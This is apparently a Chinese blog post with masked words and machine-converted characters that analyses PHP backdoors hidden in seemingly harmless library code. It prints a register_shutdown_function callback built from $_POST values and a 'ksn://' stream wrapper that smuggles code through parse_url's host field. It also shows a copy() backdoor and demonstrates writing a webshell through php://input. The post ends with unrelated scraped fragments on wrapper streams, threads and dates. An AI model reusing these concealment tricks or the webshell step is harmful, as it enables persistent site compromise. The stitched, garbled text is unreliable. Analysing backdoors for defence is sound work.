根據我們最新的報告,百分之七十二的被入侵**都含有後門。後門是攻擊者為了保持控制權而在站點留下的特殊檔案。必要的時候,攻擊者會利用它再次感染該站點。
我們偶然發現了一些不需要使用php常見函式(比如:eval,create_function,preg_replace,assert,base64_decode)即可實現的後門。
這些罕見後門看上去就像普通**一樣,它們不需要常見的混淆方法(比如:加密字串,大小寫混淆,字串拼接)就可以讓攻擊者任意**執行。
讓我們從簡單的看起。在@package.win.error.libraries,並且有這樣乙個函式:
function win()
此處的 $_post 引數看上去十分可疑,那麼這個**到底是不是後門呢?
register_shutdown_function註冊了乙個在此指令碼執行完畢後的操作。這意味著無論這個**出現在哪一行,它只在執行完時才被呼叫。
這樣的話,指令碼執行完後呼叫的函式便是:
$_post['d']('', $_post['f']($_post['c']))
這行**看上去如同加密一般。如果你不清楚黑客能用它幹什麼,讓我們來想想黑客代入如下引數執行後會怎麼樣:
於是,便會這樣:d=create_function
f=base64_decode
c=some_base64_encoded_malicious_php_code
create_function('', base64_decode(some_base64_encoded_malicious_php_code))
現在便是乙個正常的後門了。這個**不需要被直接呼叫,因為shutdown函式會自動執行它。
之前的只是熱身罷了,現在我們來看看更複雜的。
這次我們用@package stream.ksn.libraries。我們不難推導出這裡有個stream類並和乙個建立ksn協議流包裝器的函式。
我們來用幾個小節分析這個**class stream
}// register connect the library stream
$fp = fopen('ksn://'.$_post['f']($_post['c']), '');
**貌似人畜無害
對於一些開發者來講,這個**看上去像是那些第三方寫的內容管理外掛程式**。
等等!我們在**中看到了post。因為攻擊者總是可以操控它,因此對post保持警惕。然而,我們不清楚post具體的作用。
你玩過那些文字解密的遊戲嗎?這和我們做的十分相似。
我們先從stream_open分析:
$f = $_post['d']('', $url["host"]);
當post引數被用做函式名時,這引起了我們的關注。看上去 $_post['d] 作用像之前的create_function。如果這樣的話,$url['host']應該是可執行**,但是乙個經過parse_url處理的函式應該包含不了**吧?不過。。。
模糊化網域名稱格式
讓我們看看傳進stream_open的$path—— 它包括了乙個被parse_url解析過後的url,我們首先分析一下下列**:
初始化完成時,stream_open會被直接呼叫。(比方說fopen該協議時)
stream_open應該是像如下一樣被宣告。其中,$path是被傳遞到fopen的url
我們可以用fopen來開啟ksn://協議的url
$fp = fopen('ksn://'.$_post['f']($_post['c']), '');
所以我們的path就是:
『ksn://』.$_post[『f』]($_post[『c』]),』
這會構造乙個可以讓主機執行惡意**的url
那麼我們應該如何構建乙個可以被當做合法php**執行的網域名稱或者ip位址?
根據 rfc3986,我們並不需要構建合法的網域名稱,因為parse_url不會檢查url的合法性,它只負責解析。任何從 :// 開始,以 / 或 : 結尾的那一部分字串(如果沒有的話,則是餘下的全部字元)都被視作主機名部分。
比方說,如果你把ksn://eval(base64_decode($_post[「code」]));傳遞給parse_url,主機部分便是eval(base64_decode($_post[「code」]));
就像之前那,我們此處可以理解:
然後就會執行這樣的fopen:f=base64_decode
c=some_base64_encoded_malicious_php_code
$fp = fopen('ksn://base64_decode(base64_encoded_malicious_php_code)', '');
回過頭來看stream_open,我們可以知道被傳入的url
$f = $_post['d']('', $url["host"]);
其實是:
$f = create_function('', base64_decode(base64_encoded_malicious_php_code));
到了最後,$f會被呼叫:
$f();
簡單來說,這個後門就是開啟 ksn:// 協議的fopen引起的,然而我們僅粗略地讀不會發現什麼異常
自己的測試例項:
出現原因:
在 templates/m/ 資料夾下出現了乙個 content_list.php 檔案,修改時間為 2023年5月25日。
經過解密,9c224bc6b59179729b15e1dddcbb5c82
為字串kejishidai
的md5值。
由**知,這裡存在乙個copy函式構成的後門。
在第12行,實際執行的即為:
copy(trim($_get[url]),$_get[cms]);將引數url設定為
php://input
,引數cms設定為shell的檔名,然後post傳入webshell。如下:
post:
<?php phpinfo();?>
國外文件
包裝流和緩衝流
處理流 包裝流 相對於節點流更高階 裝飾設計模式 包裝模式 1 隱藏了底層的節點流的差異 並對外提供了更方便的輸入 輸出功能 讓我們只關心高階流的操作.2 使用處理流包裝了節點流 程式直接操作處理流 讓節點流與底層的裝置做 io操作.實際識別處理流 包裝流非常簡單,只要流的構造器引數不是乙個物理節點...
執行緒包裝器
thread.h ifndef thread h define thread h include class thread endif thread.cpp include include static void posixthreadproc void param thread thread bo...
日期包裝器
下面是linux日期包裝器,沒有用到localtime r,其實應該也沒有什麼關係。data.h ifndef date h define date h include class date public int getyear int getmonth int getday int getweek...